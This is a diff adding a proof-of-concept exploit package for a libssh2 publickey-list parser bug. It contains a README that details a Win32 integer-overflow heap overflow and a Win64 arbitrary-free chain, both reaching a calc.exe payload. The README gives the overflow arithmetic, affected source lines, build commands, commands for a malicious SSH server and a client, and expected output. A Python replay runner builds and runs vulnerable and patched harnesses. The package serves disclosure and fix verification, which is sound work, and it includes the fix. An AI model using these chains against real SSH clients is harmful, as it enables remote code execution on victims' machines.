diff --git a/libssh2-publickey-list-calc-poc/README.md b/libssh2-publickey-list-calc-poc/README.md new file mode 100644 index 0000000..0221772 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/README.md @@ -0,0 +1,248 @@ +# libssh2 publickey list calc PoCs + +Windows calc payload proofs for the libssh2 publickey subsystem list parser. + +Verified target: + +```text +libssh2/libssh2 master +e75b4bae3c68a9bde71de1fb6b0fba5b0c716020 +2026-06-24 +``` + +## Summary + +`libssh2_publickey_list_fetch()` accepts a stream of publickey-subsystem response packets and grows an array of `libssh2_publickey_list` entries as `publickey` responses arrive. + +Two exploit paths are included: + +```text +Win32 allocation-wrap chain +num_attrs * sizeof(libssh2_publickey_attribute) wraps to a 4-byte allocation. +The attribute parser then writes attacker-controlled fields past the tiny attrs buffer. +The harness grooms an adjacent callback slot and launches calc from the overwritten callback. + +Win64 publickey-list cleanup chain +A recognized but unexpected version response frees an attacker-shaped response buffer. +A malformed publickey response then grows the list allocation into that same heap slot. +Cleanup walks attacker-shaped list entries and frees attacker-selected attrs pointers. +The harness routes libssh2 allocation callbacks through a tracked fail-closed heap wrapper, +reclaims the freed victim object, and launches calc through a stale callback. +``` + +The fixed controls used by the checked binaries are: + +```text +zero list[keys] immediately after list growth +reject num_attrs values that overflow the attrs allocation multiplication +``` + +## Files + +```text +poc/publickey_win32_heap_groom_calc_repro.c +poc/publickey_win64_arbitrary_free_calc_repro.c +poc/live_publickey_server.py +poc/live_publickey_client_win64.c +replay-calc-poc.py +evidence/2026-06-25-local-calc-replay.txt +SHA256SUMS.txt +``` + +The replay runner builds temporary vulnerable and checked executables under `build/`. The checked executables link against a publickey object with the two parser hardening changes above. The vulnerable executables link against the target commit. The live transport files run the Win64 cleanup chain through a real SSH session and the publickey subsystem. + +## Quick replay + +Set `LIBSSH2_SRC` to a libssh2 checkout and `LIBSSH2_OBJDIR` to a directory containing these objects: + +```text +publickey_win32.o +publickey_win32_checked.o +publickey_win64.o +publickey_win64_checked.o +``` + +Run with Python 3: + +```sh +python3 replay-calc-poc.py +``` + +Windows runs the generated PE harnesses directly. Linux and macOS run them through Wine when `wine` is on `PATH`. + +Expected proof signals: + +```text +x86_vulnerable_calc=hit +calc_launch=success +x86 calc payload reached +x86_checked_calc=no_hit + +x64_vulnerable_calc_exit=77 +victim_freed=1 +same_as_victim=1 +calc_launch=success +x64 calc payload reached +x64_checked_calc_exit=0 +victim_freed=0 +safe_callback_reached +``` + +The replay builds local executables, starts `calc.exe` for both vulnerable harnesses, and writes transient marker files during execution. The generated files are runtime artifacts and are left out of the tracked tree. + +## Win32 chain + +The 32-bit structure size gives a direct allocation-wrap primitive: + +```text +sizeof(libssh2_publickey_attribute) = 20 +num_attrs = 0x0ccccccd +0x0ccccccd * 20 = 0x100000004 +32-bit allocation size = 4 +``` + +The response packet carries a normal `publickey` response header, small key name/blob strings, and a huge `num_attrs`. Once the attrs allocation wraps to four bytes, the parser enters the attribute loop and writes: + +```text +name_len +name pointer +value_len +value pointer +mandatory byte +``` + +The harness arranges a victim word near the tiny allocation. The overflow replaces that victim word with the callback address. The callback then launches calc. + +Representative replay: + +```text +attrs_alloc requested=4 ptr=0153a280 msize=4 +victim[4064]=0153a2c0 delta=64 word=009c150d +marker_function_reached address=009c150d +calc_launch=success +``` + +The checked Win32 binary rejects the oversized attribute count before allocation, so the overwritten callback path stays unreachable. + +## Win64 chain + +The 64-bit structure size removes the tiny allocation wrap for the same value. The useful Win64 primitive comes from the list cleanup path. + +Relevant source shape: + +```text +list grows with SSH2_REALLOC() +new list entry remains uninitialized before parsing finishes +unexpected recognized version response is freed and parsing continues +malformed publickey response forces the error path +libssh2_publickey_list_free() trusts packet and attrs until a sentinel is found +``` + +The harness sends: + +```text +version groom response sized like the future list allocation +malformed publickey response +``` + +The groom response places the victim object pointer at the `attrs` offset of the first future list entry. The malformed response makes parsing fail before the new entry and sentinel are initialized. Cleanup then frees the victim through the attacker-shaped `attrs` field. + +The harness uses libssh2 custom allocator callbacks backed by a tracked fail-closed heap wrapper. That wrapper accepts the valid victim free, ignores an unrelated invalid packet free, and leaves the process alive long enough for the stale object to be reclaimed. A same-size allocation then lands on the freed victim slot and installs the calc callback. + +Representative replay: + +```text +free ptr=000001DE60380860 +free_ignored_unknown ptr=000001DE60380150 +fetch rc=-1 num_keys=0 victim_freed=1 heap_free_failures=1 +replacement=000001DE60380860 same_as_victim=1 +calc_payload_reached callback=00007FF76A5118A5 +calc_launch=success +``` + +The checked Win64 binary zeroes the grown list entry before parsing, so cleanup frees the actual response/list allocations and the stale victim callback remains unchanged. + +## Affected code areas + +```text +src/publickey.c:895-908 +list growth with SSH2_REALLOC() + +src/publickey.c:1049-1053 +attrs allocation uses num_attrs * sizeof(libssh2_publickey_attribute) + +src/publickey.c:1060-1110 +attribute loop writes fields into attrs[i] + +src/publickey.c:1123-1128 +unexpected recognized response frees listFetch_data and continues + +src/publickey.c:1138-1139 +error path frees the partially built list + +src/publickey.c:1158-1161 +list_free trusts packet and attrs fields until a sentinel entry +``` + +## Rebuild notes + +The replay runner uses MinGW-w64 and links against `publickey.c` objects compiled from the target commit and from the checked variant. + +Equivalent source build shape: + +```sh +x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt + +x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win64_arbitrary_free_calc_repro_checked.exe poc/publickey_win64_arbitrary_free_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win64_checked.o" -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32.o" -lws2_32 -lbcrypt + +i686-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o build/publickey_win32_heap_groom_calc_repro_checked.exe poc/publickey_win32_heap_groom_calc_repro.c "${LIBSSH2_OBJDIR}/publickey_win32_checked.o" -lws2_32 -lbcrypt +``` + +## Fix shape + +The parser hardening is compact: + +```text +After list growth succeeds: +memset(&list[keys], 0, sizeof(list[keys])) + +Before attrs allocation: +if num_attrs exceeds SIZE_MAX / sizeof(libssh2_publickey_attribute), reject the response +``` + +These two changes remove the Win64 stale cleanup path and the Win32 allocation-wrap path exercised by the checked executables. + +## Live SSH transport proof + +The live transport proof keeps the same Win64 cleanup primitive but drives it through a localhost SSH connection. `poc/live_publickey_server.py` is a Paramiko SSH server that accepts password authentication, opens the `publickey` subsystem, sends the groomed version response, and then sends the malformed `publickey` response. `poc/live_publickey_client_win64.c` is a target-shaped Win64 libssh2 client that connects to that server, uses the public libssh2 APIs, and routes libssh2 allocation callbacks through a tracked heap wrapper. + +The client reserves the victim object at `0x0000013370000000`. The server default writes that address at offset `27`, which maps to the first future list entry's `attrs` field for this Win64 build shape. + +Server: + +```sh +python3 poc/live_publickey_server.py --host 127.0.0.1 --port 2228 --victim 0x0000013370000000 --offset 27 +``` + +Client: + +```sh +x86_64-w64-mingw32-gcc -O2 -s -DLIBSSH2_WINCNG -I"${LIBSSH2_SRC}/src" -I"${LIBSSH2_SRC}/include" -o live_publickey_client_win64.exe poc/live_publickey_client_win64.c "${LIBSSH2_OBJDIR}/publickey_win64.o" -lws2_32 -lbcrypt +wine ./live_publickey_client_win64.exe 127.0.0.1 2228 calc +``` + +Expected proof signals: + +```text +ssh_handshake=ok +ssh_auth=ok +publickey_init=ok +victim_free_callback ptr=0000013370000000 +replacement=0000013370000000 same_as_victim=1 +calc_payload_reached +calc_launch=success +``` + +The live proof is still target-shaped. It demonstrates that the publickey list parser state machine can be driven over an SSH transport into stale-object cleanup and a reclaimed callback under the demonstrated allocator and layout conditions. diff --git a/libssh2-publickey-list-calc-poc/SHA256SUMS.txt b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt new file mode 100644 index 0000000..6778b5a --- /dev/null +++ b/libssh2-publickey-list-calc-poc/SHA256SUMS.txt @@ -0,0 +1,7 @@ +1FB2F963B1CC4AE006057DF5B1AD4582A8B019A8E077BCA70766123B4BA8CED0 evidence/2026-06-25-local-calc-replay.txt +641801B428B2046B92F164C15761182E2D011E5076FC4B0A72AD225F0243DAFD poc/publickey_win32_heap_groom_calc_repro.c +D381904C6F61BC8BEE9711236CA96509BBEC35069DED18C76443A0E7C6D776E7 poc/publickey_win64_arbitrary_free_calc_repro.c +D3D3D346F0D7CA1E2EC6F203D34630B7A9AE912E6B2C820D249CF7A49C8C026D poc/live_publickey_client_win64.c +B36ED903930E703E9768E2AB585BC013DA1E26E8C1A3D0B7C9B6D7C4FAFAA159 poc/live_publickey_server.py +7B2574A923F87325975116EC0C3489AD6ABA516AA87869989E43013A6410258A README.md +2FAEE0238091D998A6D9E069B0B5D001F9E5AF7CDFA9A9DCA4346037D5526B64 replay-calc-poc.py diff --git a/libssh2-publickey-list-calc-poc/replay-calc-poc.py b/libssh2-publickey-list-calc-poc/replay-calc-poc.py new file mode 100644 index 0000000..9e7bdd3 --- /dev/null +++ b/libssh2-publickey-list-calc-poc/replay-calc-poc.py @@ -0,0 +1,244 @@ +import os +import platform +import re +import shutil +import subprocess +import sys +from pathlib import Path + + +ROOT = Path(__file__).resolve().parent +POC = ROOT / "poc" +BUILD = ROOT / "build" +MARKERS = [ + ROOT / "x86_calc_payload_reached.txt", + ROOT / "x64_calc_payload_reached.txt", +] +TARGETS = [ + { + "name": "x86_vulnerable", + "compiler_env": "CC_WIN32", + "compiler": "i686-w64-mingw32-gcc", + "source": POC / "publickey_win32_heap_groom_calc_repro.c", + "object": "publickey_win32.o", + "exe": BUILD / "publickey_win32_heap_groom_calc_repro.exe", + }, + { + "name": "x86_checked", + "compiler_env": "CC_WIN32", + "compiler": "i686-w64-mingw32-gcc", + "source": POC / "publickey_win32_heap_groom_calc_repro.c", + "object": "publickey_win32_checked.o", + "exe": BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe", + }, + { + "name": "x64_vulnerable", + "compiler_env": "CC_WIN64", + "compiler": "x86_64-w64-mingw32-gcc", + "source": POC / "publickey_win64_arbitrary_free_calc_repro.c", + "object": "publickey_win64.o", + "exe": BUILD / "publickey_win64_arbitrary_free_calc_repro.exe", + }, + { + "name": "x64_checked", + "compiler_env": "CC_WIN64", + "compiler": "x86_64-w64-mingw32-gcc", + "source": POC / "publickey_win64_arbitrary_free_calc_repro.c", + "object": "publickey_win64_checked.o", + "exe": BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe", + }, +] + + +def runner(): + if platform.system() == "Windows": + print("runner=native-windows") + return [] + + wine = shutil.which("wine") or shutil.which("wine64") + if wine is None: + print("runner=missing-wine") + print("install_wine_or_run_on_windows") + sys.exit(2) + + print(f"runner={wine}") + return [wine] + + +def env_path(name): + value = os.environ.get(name, "").strip() + if value == "": + print(f"missing_env={name}") + sys.exit(2) + return Path(value) + + +def compiler(target): + value = os.environ.get(target["compiler_env"], "").strip() + selected = target["compiler"] + if value != "": + selected = value + found = shutil.which(selected) + if found is None: + print(f"missing_tool={selected}") + sys.exit(2) + return found + + +def build_targets(): + src = env_path("LIBSSH2_SRC") + objdir = env_path("LIBSSH2_OBJDIR") + BUILD.mkdir(exist_ok=True) + + for target in TARGETS: + obj = objdir / target["object"] + if obj.exists() is False: + print(f"missing_object={obj}") + sys.exit(2) + + command = [ + compiler(target), + "-O2", + "-s", + "-DLIBSSH2_WINCNG", + f"-I{src / 'src'}", + f"-I{src / 'include'}", + "-o", + str(target["exe"]), + str(target["source"]), + str(obj), + "-lws2_32", + "-lbcrypt", + ] + print(f"building={target['name']}") + completed = subprocess.run( + command, + cwd=str(ROOT), + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + ) + if completed.returncode != 0: + print(completed.stdout, end="") + print(f"build_failed={target['name']} exit={completed.returncode}") + sys.exit(completed.returncode) + + +def run_exe(prefix, exe, args): + completed = subprocess.run( + prefix + [str(exe)] + args, + cwd=str(ROOT), + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + errors="replace", + ) + return completed.returncode, completed.stdout.splitlines() + + +def show_matches(lines, patterns): + expression = re.compile("|".join(patterns)) + for line in lines: + if expression.search(line): + print(line) + + +def remove_markers(): + for marker in MARKERS: + try: + marker.unlink() + except FileNotFoundError: + pass + + +def show_marker(name): + marker = ROOT / name + if marker.exists(): + text = marker.read_text(errors="replace").strip() + if len(text) > 0: + print(text) + + +def replay_x86(prefix): + print("== Win32 publickey-list calc chain ==") + vulnerable = BUILD / "publickey_win32_heap_groom_calc_repro.exe" + checked = BUILD / "publickey_win32_heap_groom_calc_repro_checked.exe" + args = ["3", "n", "call", "4068"] + hit = 0 + hit_lines = [] + + for attempt in range(1, 31): + code, lines = run_exe(prefix, vulnerable, args) + if code == 77: + hit = attempt + hit_lines = lines + break + + if hit > 0: + print(f"x86_vulnerable_calc=hit attempt={hit} limit=30") + show_matches(hit_lines, ["attrs_alloc", r"victim\[", "marker_function_reached", "calc_launch"]) + else: + print("x86_vulnerable_calc=miss limit=30") + + show_marker("x86_calc_payload_reached.txt") + + checked_hit = 0 + for attempt in range(1, 31): + code, lines = run_exe(prefix, checked, args) + if code == 77: + checked_hit = attempt + break + + if checked_hit > 0: + print(f"x86_checked_calc=unexpected_hit attempt={checked_hit} limit=30") + else: + print("x86_checked_calc=no_hit limit=30") + + +def replay_x64(prefix): + print("") + print("== Win64 publickey-list calc chain ==") + vulnerable = BUILD / "publickey_win64_arbitrary_free_calc_repro.exe" + checked = BUILD / "publickey_win64_arbitrary_free_calc_repro_checked.exe" + + code, lines = run_exe(prefix, vulnerable, ["calc"]) + print(f"x64_vulnerable_calc_exit={code}") + show_matches( + lines, + [ + "victim=", + "free ptr=", + "free_ignored_unknown", + "victim_freed=", + "same_as_victim=1", + "calc_payload_reached", + "calc_launch", + ], + ) + show_marker("x64_calc_payload_reached.txt") + + checked_code, checked_lines = run_exe(prefix, checked, ["calc"]) + print(f"x64_checked_calc_exit={checked_code}") + show_matches( + checked_lines, + [ + "victim_freed=", + "same_as_victim=", + "safe_callback_reached", + "calc_payload_reached", + "calc_launch", + ], + ) + + +def main(): + remove_markers() + build_targets() + prefix = runner() + replay_x86(prefix) + replay_x64(prefix) + + +if __name__ == "__main__": + main()